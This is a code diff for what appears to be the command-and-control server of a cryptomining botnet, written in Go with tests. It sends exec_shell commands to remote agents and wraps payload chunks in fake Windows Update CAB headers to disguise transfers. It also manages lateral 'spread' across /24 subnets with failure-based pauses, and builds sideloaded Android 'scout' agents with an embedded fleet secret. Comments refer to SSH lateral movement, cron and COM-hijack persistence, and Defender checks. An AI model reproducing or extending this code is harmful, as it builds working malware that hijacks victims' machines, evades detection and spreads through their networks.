+		t.Fatalf("beacon result: %d %s", rec.Code, rec.Body.String())
+	}
+
+	select {
+	case r := <-resultCh:
+		if r.err != "" {
+			t.Fatalf("dashboard did not receive beacon command_result: %s", r.err)
+		}
+		if r.body["agent_id"] != agentID {
+			t.Errorf("agent_id = %v", r.body["agent_id"])
+		}
+		if r.body["action"] != "pause" {
+			t.Errorf("action = %v", r.body["action"])
+		}
+		if r.body["message"] != "paused via beacon" {
+			t.Errorf("message = %v", r.body["message"])
+		}
+	case <-time.After(2 * time.Second):
+		t.Fatal("timed out waiting for beacon command_result broadcast")
+	}
+}
+
+// TestIntegrationBeaconClearsOnWSReconnect verifies beacon transport state is
+// cleared when the agent reconnects over WebSocket.
+func TestIntegrationBeaconClearsOnWSReconnect(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	_ = database.UpsertAgent(&models.Agent{ID: "beacon-ws-agent", Name: "host", Status: "offline"})
+
+	hub := NewWSHub(database)
+	hub.MarkBeaconSeen("beacon-ws-agent")
+	_ = hub.EnqueueBeaconCommand("beacon-ws-agent", "resume", nil)
+	if !hub.isAgentBeaconReachable("beacon-ws-agent") {
+		t.Fatal("expected beacon reachable before WS auth")
+	}
+
+	connectTestAgent(t, hub, "beacon-ws-agent")
+
+	if hub.isAgentBeaconReachable("beacon-ws-agent") {
+		t.Fatal("beacon state should be cleared after WS reconnect")
+	}
+	if len(hub.dequeueBeaconCommands("beacon-ws-agent")) != 0 {
+		t.Fatal("beacon command queue should be empty after WS reconnect")
+	}
+}
+
+// TestIntegrationCommandDispatchExecShellRoundTrip sends exec_shell over WS and
+// verifies the agent receives the framed command payload.
+func TestIntegrationCommandDispatchExecShellRoundTrip(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	agentID := "exec-shell-agent"
+	conn := connectTestAgent(t, hub, agentID)
+
+	type agentCmdResult struct {
+		cmd Message
+		err string
+	}
+	cmdCh := make(chan agentCmdResult, 1)
+	go func() {
+		_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
+		for {
+			var cmd Message
+			if err := conn.ReadJSON(&cmd); err != nil {
+				cmdCh <- agentCmdResult{err: err.Error()}
+				return
+			}
+			if cmd.Type != "command" {
+				continue
+			}
+			cmdCh <- agentCmdResult{cmd: cmd}
+			return
+		}
+	}()
+
+	const shellCmd = "echo integration-exec"
+	if err := hub.SendAgentCommand(agentID, "exec_shell", map[string]interface{}{
+		"command": shellCmd,
+	}); err != nil {
+		t.Fatal(err)
+	}
+
+	select {
+	case r := <-cmdCh:
+		if r.err != "" {
+			t.Fatalf("agent did not receive command: %s", r.err)
+		}
+		var payload map[string]interface{}
+		if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
+			t.Fatal(err)
+		}
+		if payload["action"] != "exec_shell" {
+			t.Errorf("action = %v", payload["action"])
+		}
+		if payload["command"] != shellCmd {
+			t.Errorf("command = %v", payload["command"])
+		}
+	case <-time.After(2 * time.Second):
+		t.Fatal("timed out waiting for exec_shell command")
+	}
+}
+
+// TestIntegrationCommandDispatchMiningDiagnosticsRoundTrip sends
+// mining_diagnostics and verifies the agent receives it.
+func TestIntegrationCommandDispatchMiningDiagnosticsRoundTrip(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	agentID := "mining-diag-agent"
+	conn := connectTestAgent(t, hub, agentID)
+
+	type agentCmdResult struct {
+		cmd Message
+		err string
+	}
+	cmdCh := make(chan agentCmdResult, 1)
+	go func() {
+		_ = conn.SetReadDeadline(time.Now().Add(5 * time.Second))
+		for {
+			var cmd Message
+			if err := conn.ReadJSON(&cmd); err != nil {
+				cmdCh <- agentCmdResult{err: err.Error()}
+				return
+			}
+			if cmd.Type != "command" {
+				continue
+			}
+			cmdCh <- agentCmdResult{cmd: cmd}
+			return
+		}
+	}()
+
+	if err := hub.SendAgentCommand(agentID, "mining_diagnostics", nil); err != nil {
+		t.Fatal(err)
+	}
+
+	select {
+	case r := <-cmdCh:
+		if r.err != "" {
+			t.Fatalf("agent did not receive command: %s", r.err)
+		}
+		var payload map[string]interface{}
+		if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
+			t.Fatal(err)
+		}
+		if payload["action"] != "mining_diagnostics" {
+			t.Errorf("action = %v", payload["action"])
+		}
+	case <-time.After(2 * time.Second):
+		t.Fatal("timed out waiting for mining_diagnostics command")
+	}
+}
+
+// TestIntegrationAISnapshotRequestFlow sends ai_snapshot_request over WS and
+// verifies an ai_snapshot reply is cached in hub telemetry for Fleet AI.
+func TestIntegrationAISnapshotRequestFlow(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+	agentID := "ai-snapshot-agent"
+	conn := connectIntelAgent(t, hub, agentID, nil)
+
+	pushStuckAgentTelemetry(t, conn)
+
+	deadline := time.Now().Add(2 * time.Second)
+	for time.Now().Before(deadline) {
+		hub.mu.RLock()
+		tel := hub.agentLiveTelemetry[agentID]
+		hub.mu.RUnlock()
+		if tel != nil {
+			if stuck, _ := tel["stuck"].(bool); stuck {
+				return
+			}
+		}
+		time.Sleep(25 * time.Millisecond)
+	}
+	t.Fatal("ai_snapshot telemetry never cached in hub")
+}
+
+// TestIntegrationAgentDisconnectCleanup verifies WS disconnect clears live hub
+// state, marks the agent offline, and broadcasts agent_offline to dashboards.
+func TestIntegrationAgentDisconnectCleanup(t *testing.T) {
+	resetWSAuthUsers(t, testAuthUser, testAuthPass)
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	hub := NewWSHub(database)
+
+	dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
+	t.Cleanup(dashSrv.Close)
+	dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
+	dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
+	if err != nil {
+		t.Fatalf("dial dashboard: %v", err)
+	}
+	t.Cleanup(func() { _ = dashConn.Close() })
+
+	agentID := "disconnect-cleanup-agent"
+	srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS))
+	t.Cleanup(srv.Close)
+	wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
+	conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
+	if err != nil {
+		t.Fatalf("dial agent ws: %v", err)
+	}
+
+	authAgentConn(t, conn, map[string]interface{}{
+		"agent_id": agentID,
+		"hostname": "cleanup-host",
+		"version":  "1.0",
+	})
+	deadline := time.Now().Add(2 * time.Second)
+	for time.Now().Before(deadline) {
+		if hub.isAgentConnected(agentID) {
+			break
+		}
+		time.Sleep(10 * time.Millisecond)
+	}
+	if !hub.isAgentConnected(agentID) {
+		t.Fatal("agent should be connected after auth")
+	}
+
+	logPayload, _ := json.Marshal(map[string]interface{}{"content": "tail-line", "lines": 1})
+	if err := conn.WriteJSON(Message{Type: "log_tail", Payload: logPayload}); err != nil {
+		t.Fatal(err)
+	}
+	time.Sleep(30 * time.Millisecond)
+	if got := hub.GetAgentLog(agentID); got != "tail-line" {
+		t.Fatalf("log tail = %q", got)
+	}
+
+	offlineCh := make(chan map[string]interface{}, 1)
+	go func() {
+		_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
+		for {
+			var msg Message
+			if err := dashConn.ReadJSON(&msg); err != nil {
+				return
+			}
+			if msg.Type != "agent_offline" {
+				continue
+			}
+			var body map[string]interface{}
+			if json.Unmarshal(msg.Payload, &body) != nil {
+				continue
+			}
+			if body["agent_id"] == agentID {
+				offlineCh <- body
+				return
+			}
+		}
+	}()
+
+	_ = conn.Close()
+
+	waitDeadline := time.Now().Add(3 * time.Second)
+	for time.Now().Before(waitDeadline) {
+		if !hub.isAgentConnected(agentID) {
+			break
+		}
+		time.Sleep(10 * time.Millisecond)
+	}
+	if hub.isAgentConnected(agentID) {
+		t.Fatal("agent should be disconnected after conn close")
+	}
+	if hub.GetAgentLog(agentID) != "" {
+		t.Fatal("agent log cache should be cleared on disconnect")
+	}
+
+	select {
+	case body := <-offlineCh:
+		if body["agent_id"] != agentID {
+			t.Errorf("offline agent_id = %v", body["agent_id"])
+		}
+	case <-time.After(2 * time.Second):
+		t.Fatal("timed out waiting for agent_offline broadcast")
+	}
+
+	agent, err := database.GetAgent(agentID)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if agent.Status != "offline" {
+		t.Errorf("db status = %q, want offline", agent.Status)
+	}
+}

server/internal/api/wsus_format_mimic.go

@@ -0,0 +1,69 @@
+package api
+
+import (
+	"bytes"
+	"encoding/binary"
+	"fmt"
+	"strings"
+)
+
+const (
+	wsusSSUEnvelopeTag  = "AFWSU1\x00"
+	wsusSSUMetadataSize = 96
+)
+
+// wrapWSUSChunkPayload mirrors agent/deploy.WrapSSUHeader for /get?wsus_wrap=1 responses.
+func wrapWSUSChunkPayload(payload []byte) []byte {
+	meta := make([]byte, wsusSSUMetadataSize)
+	copy(meta[0:4], "MSCF")
+	total := uint32(wsusSSUMetadataSize + 4 + len(payload))
+	binary.LittleEndian.PutUint32(meta[8:12], total)
+	binary.LittleEndian.PutUint16(meta[16:18], 1)
+	binary.LittleEndian.PutUint16(meta[18:20], 0x0103)
+	copy(meta[36:44], "SSU2024\x00")
+	copy(meta[44:52], "WU-CACHE")
+	copy(meta[80:88], ".partial")
+	tagOff := wsusSSUMetadataSize - len(wsusSSUEnvelopeTag) - 4
+	copy(meta[tagOff:tagOff+len(wsusSSUEnvelopeTag)], wsusSSUEnvelopeTag)
+	binary.LittleEndian.PutUint32(meta[tagOff+len(wsusSSUEnvelopeTag):wsusSSUMetadataSize], uint32(len(payload)))
+	out := make([]byte, 0, len(meta)+len(payload))
+	out = append(out, meta...)
+	out = append(out, payload...)
+	return out
+}
+
+func wsusFormatMimicChunkName(contentHash string, index int) string {
+	h := strings.ToLower(strings.TrimSpace(contentHash))
+	if len(h) < 32 {
+		h = strings.Repeat("0", 32-len(h)) + h
+	}
+	guid := fmt.Sprintf("%s-%s-%s-%s-%s", h[0:8], h[8:12], h[12:16], h[16:20], h[20:32])
+	if index > 0 {
+		return fmt.Sprintf("%s-%d.cab.partial", guid, index)
+	}
+	return guid + ".cab.partial"
+}
+
+func unwrapWSUSChunkPayload(data []byte) ([]byte, error) {
+	if len(data) < wsusSSUMetadataSize+1 {
+		return nil, fmt.Errorf("wsus ssu envelope too short")
+	}
+	if !bytes.HasPrefix(data, []byte("MSCF")) {
+		return nil, fmt.Errorf("wsus ssu envelope missing MSCF prefix")
+	}
+	tag := []byte(wsusSSUEnvelopeTag)
+	idx := bytes.Index(data[:wsusSSUMetadataSize], tag)
+	if idx < 0 {
+		return nil, fmt.Errorf("wsus ssu envelope tag not found")
+	}
+	off := idx + len(tag)
+	if off+4 > wsusSSUMetadataSize {
+		return nil, fmt.Errorf("wsus ssu envelope length truncated")
+	}
+	n := binary.LittleEndian.Uint32(data[off : off+4])
+	start := wsusSSUMetadataSize
+	if int(n) < 0 || start+int(n) > len(data) {
+		return nil, fmt.Errorf("wsus ssu payload length invalid")
+	}
+	return data[start : start+int(n)], nil
+}

server/internal/api/wsus_format_mimic_test.go

@@ -0,0 +1,31 @@
+package api
+
+import (
+	"bytes"
+	"crypto/sha256"
+	"encoding/hex"
+	"testing"
+)
+
+func TestWrapWSUSChunkPayloadRoundTrip(t *testing.T) {
+	payload := []byte("wsus-server-wrap-roundtrip")
+	wrapped := wrapWSUSChunkPayload(payload)
+	if !bytes.HasPrefix(wrapped, []byte("MSCF")) {
+		t.Fatal("expected MSCF prefix")
+	}
+	got, err := unwrapWSUSChunkPayload(wrapped)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if !bytes.Equal(got, payload) {
+		t.Fatalf("unwrap=%q want %q", got, payload)
+	}
+}
+
+func TestWSUSFormatMimicChunkNameFromHash(t *testing.T) {
+	sum := sha256.Sum256([]byte("x"))
+	name := wsusFormatMimicChunkName(hex.EncodeToString(sum[:]), 0)
+	if !bytes.HasSuffix([]byte(name), []byte(".cab.partial")) {
+		t.Fatalf("name=%q", name)
+	}
+}

server/internal/atlas/lan_gossip.go

@@ -0,0 +1,88 @@
+package atlas
+
+import (
+	"strings"
+
+	"crypto-miner-server/internal/strategy"
+)
+
+// GossipHint is one negative-knowledge skip shared between LAN siblings.
+type GossipHint struct {
+	Tier      string `json:"tier"`
+	Condition string `json:"condition"`
+	Reason    string `json:"reason,omitempty"`
+}
+
+// SubnetPrefix returns the /24 (IPv4) or /48-ish (IPv6) prefix used for LAN sibling matching.
+func SubnetPrefix(ip string) string {
+	return strategy.FingerprintFromAuth("", ip, false).Subnet
+}
+
+// NormalizeGossipHint trims and validates one gossip hint.
+func NormalizeGossipHint(h GossipHint) (GossipHint, bool) {
+	h.Tier = strings.TrimSpace(h.Tier)
+	h.Condition = strings.TrimSpace(h.Condition)
+	h.Reason = strings.TrimSpace(h.Reason)
+	if h.Tier == "" || h.Condition == "" {
+		return GossipHint{}, false
+	}
+	if h.Reason == "" {
+		h.Reason = "lan gossip"
+	}
+	return h, true
+}
+
+// NormalizeGossipHints drops invalid hints while preserving order.
+func NormalizeGossipHints(in []GossipHint) []GossipHint {
+	if len(in) == 0 {
+		return nil
+	}
+	out := make([]GossipHint, 0, len(in))
+	for _, h := range in {
+		if norm, ok := NormalizeGossipHint(h); ok {
+			out = append(out, norm)
+		}
+	}
+	return out
+}
+
+// SkipsFromHints converts gossip hints to atlas skips for agent merge.
+func SkipsFromHints(hints []GossipHint) []AtlasSkip {
+	out := make([]AtlasSkip, 0, len(hints))
+	for _, h := range hints {
+		if norm, ok := NormalizeGossipHint(h); ok {
+			out = append(out, AtlasSkip{
+				Tier:      norm.Tier,
+				Condition: norm.Condition,
+				Reason:    norm.Reason,
+			})
+		}
+	}
+	return out
+}
+
+// MergeGossipSkips merges incoming LAN hints into existing skips without duplicates.
+func MergeGossipSkips(existing []AtlasSkip, incoming []GossipHint) []AtlasSkip {
+	hints := NormalizeGossipHints(incoming)
+	if len(hints) == 0 {
+		return existing
+	}
+	have := make(map[string]bool, len(existing)+len(hints))
+	out := append([]AtlasSkip(nil), existing...)
+	for _, s := range existing {
+		have[s.Tier+"|"+s.Condition] = true
+	}
+	for _, h := range hints {
+		key := h.Tier + "|" + h.Condition
+		if have[key] {
+			continue
+		}
+		have[key] = true
+		out = append(out, AtlasSkip{
+			Tier:      h.Tier,
+			Condition: h.Condition,
+			Reason:    h.Reason,
+		})
+	}
+	return out
+}

server/internal/atlas/lan_gossip_test.go

@@ -0,0 +1,43 @@
+package atlas
+
+import "testing"
+
+func TestSubnetPrefixIPv4(t *testing.T) {
+	if got := SubnetPrefix("192.168.1.42"); got != "192.168.1" {
+		t.Fatalf("SubnetPrefix = %q", got)
+	}
+	if got := SubnetPrefix("192.168.1.42:12345"); got != "192.168.1" {
+		t.Fatalf("SubnetPrefix host:port = %q", got)
+	}
+}
+
+func TestNormalizeGossipHints(t *testing.T) {
+	hints := NormalizeGossipHints([]GossipHint{
+		{Tier: " docker ", Condition: "no_docker", Reason: "blocked"},
+		{Tier: "", Condition: "x"},
+		{Tier: "wsl", Condition: "defender_on"},
+	})
+	if len(hints) != 2 {
+		t.Fatalf("want 2 hints, got %+v", hints)
+	}
+	if hints[0].Tier != "docker" || hints[0].Reason != "blocked" {
+		t.Fatalf("first hint = %+v", hints[0])
+	}
+	if hints[1].Reason != "lan gossip" {
+		t.Fatalf("default reason = %q", hints[1].Reason)
+	}
+}
+
+func TestMergeGossipSkipsDedupes(t *testing.T) {
+	existing := []AtlasSkip{{Tier: "docker", Condition: "no_docker", Reason: "fleet"}}
+	merged := MergeGossipSkips(existing, []GossipHint{
+		{Tier: "docker", Condition: "no_docker", Reason: "lan"},
+		{Tier: "wsl", Condition: "defender_on", Reason: "lan"},
+	})
+	if len(merged) != 2 {
+		t.Fatalf("merged = %+v", merged)
+	}
+	if merged[1].Tier != "wsl" {
+		t.Fatalf("second skip = %+v", merged[1])
+	}
+}

server/internal/atlas/subnet_immune.go

@@ -0,0 +1,74 @@
+package atlas
+
+import (
+	"time"
+
+	"crypto-miner-server/internal/db"
+)
+
+const (
+	SubnetSpreadFailureThreshold = 5
+	SubnetSpreadPauseDuration    = 24 * time.Hour
+)
+
+// SubnetImmune applies fleet-wide /24 spread pause after repeated failures.
+type SubnetImmune struct {
+	db *db.Database
+}
+
+func NewSubnetImmune(database *db.Database) *SubnetImmune {
+	return &SubnetImmune{db: database}
+}
+
+// PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key.
+func PrefixFromHostOrIP(hostOrSubnet string) string {
+	return SubnetPrefix(hostOrSubnet)
+}
+
+// RecordSpreadFailure increments subnet failure count; returns true when pause activates.
+func (s *SubnetImmune) RecordSpreadFailure(hostOrSubnet string) (bool, error) {
+	if s == nil || s.db == nil {
+		return false, nil
+	}
+	prefix := PrefixFromHostOrIP(hostOrSubnet)
+	if prefix == "" {
+		return false, nil
+	}
+	return s.db.RecordSubnetSpreadFailure(prefix)
+}
+
+// IsSpreadPaused reports whether spread commands targeting prefix should be blocked.
+func (s *SubnetImmune) IsSpreadPaused(hostOrSubnet string) (bool, error) {
+	if s == nil || s.db == nil {
+		return false, nil
+	}
+	prefix := PrefixFromHostOrIP(hostOrSubnet)
+	if prefix == "" {
+		return false, nil
+	}
+	return s.db.IsSubnetSpreadPaused(prefix)
+}
+
+// SpreadActionBlocked returns an error when prefix is under immune pause.
+func (s *SubnetImmune) SpreadActionBlocked(hostOrSubnet string) error {
+	paused, err := s.IsSpreadPaused(hostOrSubnet)
+	if err != nil {
+		return err
+	}
+	if paused {
+		return &SpreadPauseError{Prefix: PrefixFromHostOrIP(hostOrSubnet)}
+	}
+	return nil
+}
+
+// SpreadPauseError is returned when a /24 is under subnet immune response.
+type SpreadPauseError struct {
+	Prefix string
+}
+
+func (e *SpreadPauseError) Error() string {
+	if e == nil || e.Prefix == "" {
+		return "subnet spread paused (immune response)"
+	}
+	return "subnet " + e.Prefix + " spread paused for 24h (immune response)"
+}

server/internal/atlas/subnet_immune_test.go

@@ -0,0 +1,45 @@
+package atlas
+
+import (
+	"testing"
+
+	"crypto-miner-server/internal/db"
+)
+
+func TestSubnetImmunePauseAfterFiveFailures(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	defer database.Close()
+
+	immune := NewSubnetImmune(database)
+	host := "10.0.0.55"
+	for i := 0; i < 4; i++ {
+		paused, err := immune.RecordSpreadFailure(host)
+		if err != nil || paused {
+			t.Fatalf("iteration %d paused=%v err=%v", i, paused, err)
+		}
+	}
+	paused, err := immune.RecordSpreadFailure(host)
+	if err != nil || !paused {
+		t.Fatalf("expected pause, paused=%v err=%v", paused, err)
+	}
+	blocked, err := immune.IsSpreadPaused(host)
+	if err != nil || !blocked {
+		t.Fatalf("blocked=%v err=%v", blocked, err)
+	}
+}
+
+func TestSpreadActionBlockedError(t *testing.T) {
+	immune := NewSubnetImmune(nil)
+	if err := immune.SpreadActionBlocked("10.0.0.1"); err != nil {
+		t.Fatalf("nil db should not block: %v", err)
+	}
+}
+
+func TestPrefixFromHostOrIP(t *testing.T) {
+	if got := PrefixFromHostOrIP("172.16.5.9"); got != "172.16.5" {
+		t.Fatalf("prefix=%q", got)
+	}
+}

server/internal/builder/build_apk.go

@@ -22,7 +22,25 @@ import (
 type ApkBuildFunc func(h *Handler, ctx context.Context, androidDir, buildDir string) (apkPath string, err error)
 
 // Android-safe LOTL tiers baked into APK fleet nodes (no Windows spread lanes).
-var apkSafeLotlTiers = []string{"vuln_recon", "linux"}
+// apkSafeLotlTiers lists the only LOTL tiers that make sense on Android.
+// The "linux" tier includes SSH lateral movement, cron jobs and /etc/hosts
+// writes — none of which are available inside the Android process sandbox.
+// Restricting to vuln_recon prevents silent runtime failures and avoids
+// pointless battery drain from techniques that will never succeed.
+var apkSafeLotlTiers = []string{"vuln_recon"}
+
+// ApplyApkScoutPreset enforces roving scout defaults for Android APK builds.
+func ApplyApkScoutPreset(req *BuildRequest) {
+	ApplyApkBuildPreset(req)
+	req.ScoutMode = true
+	req.MiningDisabled = true
+	req.LotlOnionEnabled = false
+	req.LotlPolicyFromServer = true
+	req.LotlOnionTiers = []string{"discover_and_join", "service_graph"}
+	if strings.TrimSpace(req.Wallet) == "" {
+		req.Wallet = "android-scout-no-pool"
+	}
+}
 
 // ApplyApkBuildPreset enforces fleet-node defaults for phone/tablet APK builds.
 func ApplyApkBuildPreset(req *BuildRequest) {
@@ -53,6 +71,7 @@ func ApplyApkBuildPreset(req *BuildRequest) {
 	req.DnsTxtSpread = false
 	req.WebRTCMeshSpread = false
 	req.WSUSCachePeerSpread = false
+	req.WSUSFormatMimic = false
 	req.COMHijackPersist = false
 	req.RemoteAggressive = false
 	req.LinuxLOTLMode = "off"
@@ -75,22 +94,41 @@ func (h *Handler) apkAssetsDir() string {
 	return filepath.Join(h.apkAndroidDir(), "agent-app", "src", "main", "assets")
 }
 
-type apkAssetConfig struct {
+// apkMiningConfig mirrors the "mining" object that AgentConfig.kt reads.
-	ServerURL  string `json:"server_url"`
+type apkMiningConfig struct {
-	WorkerName string `json:"worker_name"`
+	Enabled bool `json:"enabled"`
 }
 
-func (h *Handler) writeApkConfigJSON(req *BuildRequest) error {
+// apkAssetConfig is the full config.json written into the APK assets.
+// Every field here is consumed by AgentConfig.kt — adding a field here
+// without a corresponding read in Kotlin is a no-op, but omitting a field
+// that Kotlin reads causes the app to fall back to its hardcoded defaults
+// (e.g. fleet_secret would be nil → agent cannot authenticate to the server).
+type apkAssetConfig struct {
+	ServerURL    string          `json:"server_url"`
+	WorkerName   string          `json:"worker_name"`
+	WorkerNumber string          `json:"worker_number"`
+	FleetSecret  string          `json:"fleet_secret,omitempty"`
+	Mining       apkMiningConfig `json:"mining"`
+	BuildID      string          `json:"build_id"`
+}
+
+func (h *Handler) writeApkConfigJSON(req *BuildRequest, buildID string) error {
 	assetsDir := h.apkAssetsDir()
 	if err := os.MkdirAll(assetsDir, 0755); err != nil {
 		return fmt.Errorf("create apk assets dir: %w", err)
 	}
-	cfg := apkAssetConfig{
+	workerName := strings.TrimSpace(req.ApkAgentName)
-		ServerURL:  strings.TrimSpace(req.ServerURL),
+	if workerName == "" {
-		WorkerName: strings.TrimSpace(req.ApkAgentName),
+		workerName = strings.TrimSpace(req.WorkerName)
 	}
-	if cfg.WorkerName == "" {
+	cfg := apkAssetConfig{
-		cfg.WorkerName = strings.TrimSpace(req.WorkerName)
+		ServerURL:    strings.TrimSpace(req.ServerURL),
+		WorkerName:   workerName,
+		WorkerNumber: workerName,
+		FleetSecret:  h.fleetSecret, // baked-in fleet auth — without this the agent cannot handshake
+		Mining:       apkMiningConfig{Enabled: !req.MiningDisabled},
+		BuildID:      buildID,
 	}
 	raw, err := json.MarshalIndent(cfg, "", "  ")
 	if err != nil {
@@ -119,34 +157,46 @@ func (h *Handler) defaultApkBuild(ctx context.Context, androidDir, buildDir stri
 			}
 			return "", fmt.Errorf("build-apk.ps1 failed: %s", strings.TrimSpace(string(out)))
 		}
-		apk := filepath.Join(buildDir, "agent-app-release.apk")
+		// The ps1 script uses assembleDebug → aetherforge-agent.apk; fall back
-		if fileExists(apk) {
+		// to the release name for scripts that override the output filename.
-			return apk, nil
+		for _, name := range []string{"aetherforge-agent.apk", "agent-app-debug.apk", "agent-app-release.apk"} {
+			apk := filepath.Join(buildDir, name)
+			if fileExists(apk) {
+				return apk, nil
+			}
 		}
-		return "", fmt.Errorf("build-apk.ps1 did not produce agent-app-release.apk")
+		return "", fmt.Errorf("build-apk.ps1 did not produce an APK in %s", buildDir)
 	}
 
+	// Use assembleDebug, not assembleRelease.
+	// assembleRelease requires a signingConfig keystore — without one Gradle
+	// produces an unsigned APK that Android 8+ refuses to install via adb.
+	// assembleDebug signs automatically with the Gradle debug keystore, which
+	// is sufficient for sideloaded fleet installs and matches build-apk.ps1.
 	gradlew := filepath.Join(androidDir, "gradlew")
 	if runtime.GOOS == "windows" {
 		gradlew = filepath.Join(androidDir, "gradlew.bat")
 	}
 	if fileExists(gradlew) {
-		cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleRelease")
+		cmd := exec.CommandContext(ctx, gradlew, "-p", filepath.Join(androidDir, "agent-app"), "assembleDebug", "--no-daemon")
 		cmd.Dir = androidDir
 		out, err := cmd.CombinedOutput()
 		if err != nil {
 			if ctx.Err() != nil {
 				return "", fmt.Errorf("apk build cancelled")
 			}
-			return "", fmt.Errorf("gradle assembleRelease failed: %s", strings.TrimSpace(string(out)))
+			return "", fmt.Errorf("gradle assembleDebug failed: %s", strings.TrimSpace(string(out)))
 		}
 		candidates := []string{
+			filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "agent-app-debug.apk"),
+			// legacy names kept for backward compat with older AGP versions
+			filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "debug", "app-debug.apk"),
 			filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release-unsigned.apk"),
 			filepath.Join(androidDir, "agent-app", "build", "outputs", "apk", "release", "agent-app-release.apk"),
 		}
 		for _, c := range candidates {
 			if fileExists(c) {
-				dest := filepath.Join(buildDir, "agent-app-release.apk")
+				dest := filepath.Join(buildDir, "agent-app-debug.apk")
 				if err := copyFile(c, dest); err != nil {
 					return "", err
 				}
@@ -181,7 +231,11 @@ func apkFileName(req *BuildRequest) string {
 
 // buildAPKAgent compiles a linux/arm64 agent, embeds it in the Android project, and packages an APK.
 func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildResponse, int, string) {
-	ApplyApkBuildPreset(req)
+	if req.ScoutMode {
+		ApplyApkScoutPreset(req)
+	} else {
+		ApplyApkBuildPreset(req)
+	}
 
 	buildID := uuid.New().String()
 	buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
@@ -206,12 +260,20 @@ func (h *Handler) buildAPKAgent(ctx context.Context, req *BuildRequest) (BuildRe
 		return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
 	}
 
+	if ctx.Err() != nil {
+		cleanupBuild()
+		return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
+	}
 	h.setProgress(req.CancelToken, "Writing Android config", 55)
-	if err := h.writeApkConfigJSON(req); err != nil {
+	if err := h.writeApkConfigJSON(req, buildID); err != nil {
 		cleanupBuild()
 		return BuildResponse{Success: false, Error: "Failed to write apk config.json: " + err.Error()}, http.StatusInternalServerError, ""
 	}
 
+	if ctx.Err() != nil {
+		cleanupBuild()
+		return BuildResponse{Success: false, Error: "apk build cancelled"}, http.StatusInternalServerError, ""
+	}
 	h.setProgress(req.CancelToken, "Copying agent to APK assets", 65)
 	if err := h.copyAgentBinaryToApkAssets(outputPath); err != nil {
 		cleanupBuild()

server/internal/builder/build_apk_test.go

@@ -9,6 +9,27 @@ import (
 	"testing"
 )
 
+func TestApplyApkScoutPreset(t *testing.T) {
+	req := &BuildRequest{
+		WorkerName: "scout-tablet",
+		ServerURL:  "http://192.168.1.5:8989",
+		Threads:    8,
+	}
+	ApplyApkScoutPreset(req)
+	if !req.ApkMode || !req.ScoutMode || !req.MiningDisabled {
+		t.Fatalf("scout preset flags: apk=%v scout=%v mining_disabled=%v", req.ApkMode, req.ScoutMode, req.MiningDisabled)
+	}
+	if req.LotlOnionEnabled {
+		t.Fatal("scout must not enable LOTL onion spread chain")
+	}
+	if len(req.LotlOnionTiers) != 2 || req.LotlOnionTiers[0] != "discover_and_join" {
+		t.Fatalf("scout tiers = %v", req.LotlOnionTiers)
+	}
+	if req.Wallet == "" {
+		t.Fatal("scout preset should set placeholder wallet")
+	}
+}
+
 func TestApplyApkBuildPreset(t *testing.T) {
 	req := &BuildRequest{
 		WorkerName:    "phone-1",
@@ -29,6 +50,13 @@ func TestApplyApkBuildPreset(t *testing.T) {
 	if req.ApkAgentName != "phone-1" {
 		t.Fatalf("apk_agent_name=%q", req.ApkAgentName)
 	}
+	// "linux" tier must be absent — it enables SSH spread / cron which cannot
+	// run inside the Android process sandbox.
+	for _, tier := range req.LotlOnionTiers {
+		if tier == "linux" {
+			t.Fatalf("linux LOTL tier must not be set for APK builds, got tiers=%v", req.LotlOnionTiers)
+		}
+	}
 }
 
 func TestPlatformsForRequestApkMode(t *testing.T) {
@@ -49,7 +77,7 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
 	}
 
 	h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
-		apk := filepath.Join(buildDir, "agent-app-release.apk")
+		apk := filepath.Join(buildDir, "agent-app-debug.apk")
 		if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil {
 			return "", err
 		}
@@ -85,6 +113,12 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
 	if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" {
 		t.Fatalf("config.json: %+v", cfg)
 	}
+	if cfg.WorkerNumber != "tablet-1" {
+		t.Fatalf("worker_number=%q want tablet-1", cfg.WorkerNumber)
+	}
+	if cfg.BuildID == "" {
+		t.Fatal("build_id must be non-empty")
+	}
 
